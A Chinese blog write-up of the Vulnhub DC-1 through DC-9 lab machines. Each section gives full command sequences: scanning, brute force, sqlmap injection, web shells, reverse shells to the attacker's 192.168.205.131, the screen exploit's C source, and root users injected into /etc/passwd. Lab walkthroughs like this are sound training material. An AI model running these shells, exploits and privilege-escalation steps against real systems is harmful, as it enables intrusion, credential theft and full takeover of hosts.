MENU

Vulnhub靶机渗透测试--DC系列

January 12, 2022 • Read: 839 • Penetration testing

DC -1

环境搭建

官方网址:http://www.vulnhub.com/entry/dc-1,292/
下载好压缩包解压后用VMware打开即可

流程分析

先探测域内主机存活

nmap -sP 192.168.205.0/24

然后去除已经知道的ip得到靶机ip,扫描靶机服务

nmap -sV 192.168.205.136

发现80端口开着,试着访问一下

再进行指纹查询

发现是Drupal cms
我们去用kali自带的工具msfconsole来进行渗透
msfconsole使用教程
需要的命令

search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.205.136
run

然后利用成功拿到简单的shell得到flag

flag1

Every good CMS needs a config file - and so do you.

提示我们需要配置文件
根据百度找到配置文件位置

cat /var/www/sites/default/settings.php

然后不仅找到了

flag2

Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?

还接着发现了sql数据库的账号和密码

'username' => 'dbuser',
'password' => 'R0ck3t',

读取数据库需要交互式的shell所以我们使用python反弹一个

python -c 'import pty; pty.spawn("/bin/bash")'

然后连接数据库

mysql -udbuser -p
Enter password:R0ck3t

进入数据库之后

mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;

发现admin的密码是加密过的,但是我们可以想办法修改密码
方法一:修改admin用户的密码
忘记Drupal的管理员密码的解决办法

php scripts/password-hash.sh admin

然后到数据库中,查users表,找到对应的用户名,修改密码

update drupaldb.users set pass='$S$DVSJUpGObe0vgttgz83vIoMQb5bM9iM5zAl9CplEYL98Snjbr59h' where name='admin';

方法二:新增一个admin权限的用户
我们先看看cms的版本号

cat /var/www/includes/bootstrap.inc | grep VERSION

然后我们来查询这个的漏洞

searchsploit drupal

发现了一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.205.136 -u admin1 -p amdin1

然后我们就可以admin/admin admin1/admin1登录进去

在dashboard上发现

flag3

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

flag3的信息中提到了passwd和shadow
很明显就是/etc/passwd和/etc/shadow
然后我们去

cat /etc/passwd
cat /etc/shadow

发现有个叫flag4的账号,但是查看使用/etc/shadow失败,应该是权限不够,但是前面nmap扫描的时候发现了 22端口打开的,即就是存在ssh服务,现在又发现了 flag4 用户,所以尝试使用hydra进行密码的暴力猜解(这个工具kali自带的
windows版的:https://github.com/maaaaz/thc-hydra-windows

sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.205.136 ssh
或者
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.205.136

-l  指定破解的用户
-P  指定密码字典
ssh://ip 指定使用协议和ip地址

爆破出了明文密码:flag4/orange
所以直接ssh连就行

ssh flag4@192.168.205.136

得到

flag4

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

意思是需要我们提权到root权限,因为flag5在root里
之前哪里ssh爆破应该也可以提权来得到
那就试试suid提权

find / -user root -perm -4000 -print 2>/dev/null
touch anyfile
find anyfile -exec cat /root/thefinalflag.txt  \;

得到

flag5

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey by contacting me viaTwitter - @DCAU7

DC-2

环境搭建

官方网址:https://www.vulnhub.com/entry/dc-2,311/
下载好压缩包解压后用VMware打开即可

流程分析

先探测域内主机存活

nmap -sP 192.168.205.0/24

然后再查看开启的端口和服务

发现80端口打开着的
进行访问发现被重定向到dc-2
所以我们进配置本地的dns解析
也就是把目标ip地址添加到hosts里
sudo vi /etc/hosts

然后再次访问找到

flag1

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

提示要cewl密码攻击,只有一个账号可以看见下一个flag,意思是我们需要登录
然后我们指纹查询

whatweb 192.168.205.137

发现为WordPress搭建的

我们去找找wordpress后台文件名
然后去访问

http://dc-2/wp-login.php?admin=nishishui&password=woshiguanliyuan

进入后台

现在需要账号密码,本来想弹个shell装个后门更直接,但是我没找到这个版本可利用的点
然后就老老实实来枚举用户名

wpscan -e  u --url http://dc-2
wpscan 是专门针对这个框架进行爆破使用
e u 是对登录用户进行枚举爆破
爆破出可登录用户

得到三个用户名,接下来就是爆破密码

cewl http://dc-2 >> ../DC/pasword.txt
把生成的密码文件 备份到DC下的pasword.txt
cat ../DC/pasword.txt  
查看密码本 
获得密码文件

wpscan --help
查看帮助信息
wpscan --url http://dc-2 -U ../DC/DC-2/user.txt -P ../DC/DC-2/password.txt
-U 是指定爆破的用户名
-P  使用的密码本
获得密码

然后在jerry/adipiscing账户里找到

flag2

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

叫我们另一种方式登录,但是之前简单扫没扫出其他端口
我们再来试试

nmap -A 192.168.205.137 -p 1-65535

果不其然,有ssh端口,只是改端口了而已

所以再重新爆破一下

爆破ssh
hydra  -L ../DC/user.txt -P ../DC/password.txt 192.168.205.137 ssh -vV -f  -s 7744

 -L 指定的账号本      -P 指定的密码本  -vV 显示爆破的详细信息 -f 爆破成功后不在爆破 -s 指定的端口
 为什么要加 -s 因为这里更改了端口,如果不指定端口那么默认爆破的是 22端口

tom/parturient
其实可以直接刚才的爆破出的账号密码试一下就行

ssh tom@192.168.205.137 -p 7744

进去后发现是rbash

利用:BASH_CMDS

echo ${BASH_CMDS[*]}//查看里面的内容是我们可以执行的命令
BASH_CMDS[m1]=/bin/sh//往里面强制植入命令解释器,然后调用这个命令解释器m1
m1 //调用解释器
PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin//修改环境变量
echo $PATH//查看是否成功
cat /etc/passwd//再次验证

成功提权
然后发现flag3.txt在当前目录下读取就行

flag3

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

需要我们切换到jerry/adipiscing
然后在其目录里找到

flag4

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!

它的提示就是git提权
直接

sudo git -p help config
!/bin/sh

然后找到root目录下的

flag5

Congratulatons!!!

A special thanks to all those who sent me tweets and provided me with feedback - it's all greatly appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.

DC-3

环境搭建

官方网址:https://www.vulnhub.com/entry/dc-32,312/
下载好压缩包解压后用VMware打开即可

流程分析

还是先域内主机发现

nmap -sP 192.168.205.0/24

然后进行端口扫描

nmap -A 192.168.205.139 -p 1-65535

发现有80端口,所以直接访问

有提示只有一个flag,想root权限取决于系统

通过插件可以知道是Joomla cms,所以直接使用joomscan

joomscan -u 192.168.205.139

发现版本号为3.7.0和其他目录
然后我们直接来找这个版本的漏洞

searchsploit joomla | grep 3.7

然后我们来看看sql注入的payload

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt 

使用payload

sqlmap -u "http://192.168.205.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

然后发现五个数据库

再查joomladb库

sqlmap -u "http://192.168.205.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

再查user表

sqlmap -u "http://192.168.205.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

查列名password,name,username

sqlmap -u "http://192.168.205.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password,username --dump -p list[fullordering]

发现账号:admin/$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
去md5在线解密网站也解不出,但应该也是某种hash加密,只能用John the Ripper试试
先将密码保存到文件pd中,再john pd就行

得到admin/snoopy
然后我们去登录后台,之前信息收集得到后台网址

http://192.168.205.139/administrator/

进入后台

发现新建文章写shell不行 找来找去找到一个文件上传的点
上传一个shell.php

发现文件目录

访问http://192.168.205.139/templates/beez3/shell.php
然后蚁剑直接连

想利用的话有点困难,蚁剑提权没成功
所以和刚才步骤一样修改paylaod来弹个shell

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.205.131 8080 >/tmp/f');?> 
 nc -lvp  8080 #kali监听

然后访问shell.php
反弹成功之后发现权限很低

然后考虑进行提权,每次都考虑一些suid提权

find / -perm -u=s -type f 2>/dev/null

然后发现还是没有可用的命令

回到起点有个提示是你想成为root取决于你的系统
所以来看看版本信息
cat /etc/*-release

发现是ubuntu 16.04
再查一查这个版本的漏洞

打开txt发现有对应的exp下载地址,但是直接用靶机下不了

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

我们先用自己的vps下了之后再来靶机在自己vps上下载

然后

unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit/
./compile.sh
./doubleput

等一会发现利用成功 读取在root目录读取

flag

Congratulations are in order. :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges, please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!

DC-4

环境搭建

官方网址:https://www.vulnhub.com/entry/dc-4,313/
下载好压缩包解压后用VMware打开即可

流程分析

还是先域内主机发现

nmap -sP 192.168.205.0/24

确定靶机ip,再扫端口

nmap -A 192.168.205.138 -p 1-65535

发现开启80端口和ssh端口

我们直接访问80端口,得到一个登录框

然后上面提示有个admin的账户,所以我们只需要bp爆破密码

得到admin/happy 进入

里面的界面有三个选项都是一些系统命令,看起来好像可以通过抓包来更改命令

然后发现home存在三个用户的文件夹

挨个查看,只在jim中发现东西,找到旧密码的备份

把他保存password.txt,再把那三个用户保存为user.txt我们来进行ssh爆破
爆破ssh

hydra  -L ../DC/DC-4/user.txt -P ../DC/DC-4/password.txt 192.168.205.138 ssh -vV -f

 -L 指定的账号本      -P 指定的密码本  -vV 显示爆破的详细信息 -f 爆破成功后不在爆破 -s 指定的端口
 为什么要加 -s 因为这里更改了端口,如果不指定端口那么默认爆破的是 22端口

得到jim/jibril04,那就ssh连

读一下目录下剩余的文件

没啥发现,但是之前ssh连上的时候有个东西看见了

所以我们去读一下邮件

发现有个密码,所以得到charles/^xHhA&hvim0y
所以我们切换用户,但是发现权限不够

所以来提权,我先想suid提权

发现没有可利用的命令
然后再用sudo -l看看自己有什么权限

发现有个teehee命令具有root权限,考虑使用这个提权

echo "m1::0:0:::/bin/bash" | sudo teehee -a /etc/passwd


然后在root目录下找到

flag

Congratulations!!!

Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

DC-5

环境搭建

官方网址:https://www.vulnhub.com/entry/dc-5,314/
下载好压缩包解压后用VMware打开即可

流程分析

还是先域内主机发现

nmap -sP 192.168.205.0/24


然后进行端口扫描

nmap -A 192.168.205.140 -p 1-65535

然后的到直接访问80端口,然后发现一个提交的地方访问之后时间都会变化

所以猜测这里有数据库交互的地方,猜测存文件包含
抓包来爆破一下,得到

所以有文件包含

然后进行日志利用。经过百度知道nginx默认日志文件路径为/var/log/nginx/access.log

会发现我们所有的操作都被记录了
所以可以进行日志写马

可以利用蚁剑连,但是后面还要反弹shell,所以我就选择直接命令执

<?php system($_GET['cmd']); ?>

然后进行反弹shel

nc -lvp 9999 //目标机上监听

http://192.168.205.140/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.205.131 9999

反弹成功,发现权限很低,依旧是提权
还是最先考虑suid提权

发现可以screen提权

searchsploit screen 版本号

发现确实存在,所以来利用
查看一下sh文件

vi /usr/share/exploitdb/exploits/linux/local/41154.sh

然后我们根据提示这部分代码保存为/tmp/libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

后面那部分保存为/tmp/rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

然后依次执行

gcc -fPIC -shared -ldl -o libhax.so /tmp/libhax.c  
gcc -o rootshell /tmp/rootshell.c

然后我们把编译好的文件传到靶机上,但是我们先要有个交互式的shell

python -c'import pty;pty.spawn("/bin/bash")'

然后

scp kali@192.168.205.131:/home/kali/Desktop/libhax.so /tmp/
scp kali@192.168.205.131:/home/kali/Desktop/rootshell /tmp/

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell

提权成功,进入root目录

flag

Once again, a big thanks to all those who do these little challenges,
and especially all those who give me feedback - again, it's all greatly appreciated. :-)

I also want to send a big thanks to all those who find the
vulnerabilities and create the exploits that make these challenges possible.

DC-6

环境搭建

官方网址:https://www.vulnhub.com/entry/dc-6,315/
下载好压缩包解压后用VMware打开即可

流程分析

还是先域内主机发现

nmap -sP 192.168.205.0/24


然后进行端口扫描

nmap -A 192.168.205.141 -p 1-65535

发现80端口打开的,访问看看,会发现被重定向到了wordy

和DC-2差不多,修改一下hosts文件

发现又是wordpress搭建的所以和DC-2的步骤差不多
用disherch扫一下目录,得到后台地址

然后进行爆破用户名

wpscan --url http://wordy/ -e u

然后保存为user.txt,然后之前在官网下载的时候会注意到

先解压,然后复制到passwords.txt里面

cd /usr/share/wordlists/
gzip -d rockyou.txt.gz
cat /usr/share/wordlists/rockyou.txt | grep k01 > /home/kali/DC/DC-6/passwords.txt 

然后进行爆破

wpscan --url http://wordy/ -U DC/DC-6/user.txt -P DC/DC-6/passwords.txt 

得到mark/helpdesk01
我们去登录后台,然后在tools发现命令执行的点

这里可以命令执行

我们可以直接反弹shell,由于前端长度限制,所以可以抓包或者直接修改

nc -lvp 9999 //目标机监听
127.0.0.1;nc -e /bin/bash 192.168.205.131 9999

成功反弹shell,依旧是需要提权,还是先想到suid

find / -perm -u=s -type f 2>/dev/null

没有可用的suid命令
我之前看过ping提权来试试,先py弹个交互式

python -c'import pty;pty.spawn("/bin/bash")'

但是由于没用核心ping和gcc没有则无法实现

所以再来看看

sudo -l

发现需要密码

然后我们再在外面看看
root没有权限进不去,但是在home里发现了四个用户

在mark用户发现了一个txt文件,里面有用户密码graham/GSo7isUM1D4
所以切换到用户graham
查看一下这个用户的权限

发现jens下的backups.sh可以不用密码执行,可以用来获取jens的权限
再开一个窗口我们来利用这个sh反弹一个jens的shell

echo 'nc 192.168.205.131 9999 -e /bin/bash' > /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh

反弹成功再py弹一个交互式的shell,再看看jens有什么权限,发现一个有root权限的nmap命令

自然就是namp提权
我们知道nmap 5.0之前

nmap --interactive
!sh

提权即可,但是这里不行,nmap是7.4的,所以我们网上找到提权方法
namp有执行脚本的功能,那就可以写一个执行bash的脚本文件,通过namp执行来提权

echo "os.execute('/bin/bash')" > /tmp/getroot.nse   //nes脚本后缀

sudo nmap --script=/tmp/getroot.nse   //namp执行

提权成功,读取root目录

flag

Congratulations!!!

Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

DC-7

环境搭建

官方网址:https://www.vulnhub.com/entry/dc-7,356/
下载好压缩包解压后用VMware打开即可

流程分析

还是先域内主机发现

nmap -sP 192.168.205.0/24


然后进行端口扫描

nmap -A 192.168.205.142 -p 1-65535

发现80端口开着,所以直接访问

发现是Drupal8 cms,右上角有个后台登录的界面
然后有提示

While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.

What you will have to do, is to think "outside" the box.

要让我们跳出这个框架,所以就是不能暴力破解
然后去和正常安装的比较,在左下角不难发现多了个@DC7USER
即为作者的名字
去github上找一找
https://github.com/Dc7User/staffdb/blob/master/config.php

在config.php中找到账号密码尝试登录不行,再看看
没有其他发现,那试试ssh登录

有个提示我有一封新邮件,所以读取一下

看到是个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,root权限执行的,并且每15分钟会备份一次
我们来看看这个脚本的使用权限

ls -l /opt/scripts/backups.sh

发现除了root,www-data也行,所以我们就需要来看看怎么弹个普通用户的shell了
所以仔细读一下邮件,没啥发现,再来看看脚本内容

cat /opt/scripts/backups.sh

在脚本中发现两个新命令
drush

简单来说就是专门用来管理Drupal站点的shell,再了解一下发现它可以设置任意用户的密码

gpg

这个命令是加密用的所以这里利用不了
但是我们可以利用drush来修改admin的密码

cd /var/www/html
drush user-password admin --password="nopassword"

修改成功我们来登录后台,发现可以写东西,就能上马了

但是查到drupal8不支持php代码,查找资料发现需要导入一个模块
模块地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 

下载成功之后,拉到下面将PHPFiter勾选,再拉到底部安装

然后回到刚刚编辑首页,可以看到有php的选项了,插入一句话代码

然后来试试成功不

<?php phpinfo(); ?>

所以直接来弹shell了,代码写入,然后访问即可

<?php system('nc -e /bin/bash 192.168.205.131 9999'); ?>

反弹成功再py弹一个交互式shell

python -c'import pty;pty.spawn("/bin/bash")'

然后进行利用backups.sh来拿root的权限了,这里还是弹shell
因为这个文件在/opt/scripts目录,所以进入/opt/scripts目录
将弹shell命令写入即可,因为是定时任务,所以我们只需要监听等待它执行

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.205.131 9999 >/tmp/f" >> backups.sh

弹成功后,在root目录下找到

flag

Congratulations! ! !

Hope you enjoyed DC-7.Just wanted to send a big thanks out there to all those who have provided feedback,and all those who have taken the time to completethese little challenges.

I 'm sending out an especially big thanks to:

DC-8

环境搭建

官方网址:https://www.vulnhub.com/entry/dc-8,367/
下载好压缩包解压后用VMware打开即可

流程分析

还是先域内主机发现

nmap -sP 192.168.205.0/24


然后进行端口扫描

nmap -A 192.168.205.143 -p 1-65535

发现80端口,访问一下

熟悉的界面Drupal 框架,但这次是Drupal7

发现有注入明显特征,加引号会报错,所以直接跑sqlmap

sqlmap -u "http://192.168.205.143/?nid=1" --dbs

sqlmap -u "http://192.168.205.143/?nid=1" -D d7db --tables

sqlmap -u "http://192.168.205.143/?nid=1" -D d7db -T 'users' --columns

发现有两个账号两个密码,密码和DC3的那种加密差不多,把密码保存用john爆破

只爆破出了一个密码john/turtle
现在找下后台登录,扫描得到后台路径为 /user/login
但是我登不上,应该是数据库出问题了,重启依旧没解决,我重新配置一下成功登录

找到注入点,进行传马,直接弹shell,phpinfo()没有回显
按照网上的说法,php代码保存后会执行代码,这应该是在靶机上已经执行了代码,只是在后台不会显示出来。让靶机在后台执行命令即可,我们并不需要看见命令执行的情况
那么在编辑处先写入如下的php代码(<p>标签中我们可以任意写入文本,这里最好不要删除掉,因为有的时候网站会按照模板先解析<p>标签,如果没有可能会出错,所以不要将模板删了。):

 
<p>m1</p>
<?php
system("nc -e /bin/bash 192.168.205.131 7777");
 ?>

然后随便输一点东西访问就能弹shell,然后再弹个交互式shell
老规矩,先来suid提权

python -c'import pty;pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null

发现exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。所以考虑用它提权,先查看版本

然后再查看一下这个版本的漏洞

直接将脚本内容保存到kali上

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /home/kali/DC/DC-8 
scp kali@192.168.205.131:/home/kali/DC/DC-8/46996.sh /tmp

然后我们查看这个脚本的提权方式

发现执行不成功,查资料发现是windows下编辑的脚本,所以我们需要转成liunx
先在kali上vim打开脚本修改格式 输入 :set ff=unix,然后再重新

chmod 777 /tmp/46996.sh
/tmp/46996.sh

发现有两种方式,但是第一种不支持,所以第二种提权就行

发现提权成功,然后在root目录下找到

flag

Brilliant - you have succeeded!!!

Hope you enjoyed DC-8. Just wanted to send a big thanks out there to all those who have provided feedback, and all those who have taken the time to complete these little challenges.

I'm also sending out an especially big thanks to:

@4nqr34z @D4mianWayne @0xmzfr @theart42

This challenge was largely based on two things:

  1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile.
  2. A suggestion from @theart42

The answer to that question is...

If you enjoyed this CTF, send me a tweet via @DCAU7.

DC-9

环境搭建

官方网址:https://www.vulnhub.com/entry/dc-9,412/
下载好压缩包解压后用VMware打开即可

流程分析

还是先域内主机发现

nmap -sP 192.168.205.0/24


然后进行端口扫描

nmap -A 192.168.205.145 -p 1-65535

发现80端口打开,访问一下

没有发现cms,但是有个search,怀疑有注入,手动测试存在sql注入直接sqlmap一把梭

sqlmap -u "http://192.168.205.145/results.php" --data "search=1" --dbs

先看看users库中有什么

sqlmap -u "http://192.168.205.145/results.php" --data "search=1" -D users --tables

然后得到了很多用户名和密码,先保存为user.txt和password.txt
然后再来看看Staff数据库

sqlmap -u "http://192.168.205.145/results.php" --data "search=1" -D Staff --tables

然后再看Users表

sqlmap -u "http://192.168.205.145/results.php" --data "search=1" -D Staff -T Users --dump

得到一个admin/856f5de590ef37314e7c3bdf6f8a66dc
md5解码出来是transorbital1
所以试试直接登录后台,成功登录后发现了一句话File does not exits

可能存在文件包含漏洞,猜一下参赛名为file发现确实存在

然后fuzz一下系统文件可以发现/etc/knockd.conf
具体了解

然后我们看一下/etc/knockd.conf文件中的自定义端口

自定义端口7469,8475,9842,根据Port-knocking的规则依次访问这三个端口就可以打开SSH服务了

sudo nmap -p 7469 192.168.205.145
sudo nmap -p 8475 192.168.205.145
sudo nmap -p 9842 192.168.205.145

所以ssh开了之后我们需要账号密码,就在刚才的User里面,所以来hydra爆破ssh

hydra -L /home/kali/DC/DC-9/user.txt -P /home/kali/DC/DC-9/password.txt ssh://192.168.205.145

爆破出来有3个用户可用,chandlerbUrAG0D!、joeytPassw0rd、janitorIlovepeepee
依次登录3个用户,最终在用户janitor的目录下找到了隐藏文件

又是密码,我们把它全部加入之前那个密码中再爆破一次

发现又多了一个账号fredf/B4-Tru3-001
然后我们连上,再看看权限

ssh fredf@192.168.205.145
B4-Tru3-001
sudo -l

发现有个test文件具有root权限,所以来尝试运行一下

发现是个py文件,使用find查找test.py文件,并且查看test.py

find / -name test.py 2>/dev/null
2>/dev/null 代表忽略掉错误提示信息。

py文件的含义为:读取参数1的内容,然后将其写入到参数2的内容中。
那我们可以构造一个root权限用户写入/etc/passwd实现提权

openssl passwd -1 -salt admin 123456 //-1 的意思是使用md5加密算法 -salt 自动插入一个随机数作为文件内容加密
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
sudo ./test /tmp/passwd /etc/passwd

再查看一下写入成功没

所以切换用户在root目录下拿到

flag

Congratulations - you have done well to get to this point.
Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.

结语

这一个系列的靶机让我开始接触渗透了,虽然是常规的靶机渗透,但是这也是一个ctf的web手的渗透开端,期待接下来的路!

参考

参考链接一
参考链接二
参考链接三
参考链接四
参考链接五
参考链接六

Last Modified: March 7, 2022
Archives Tip
QR Code for this page
Tipping QR Code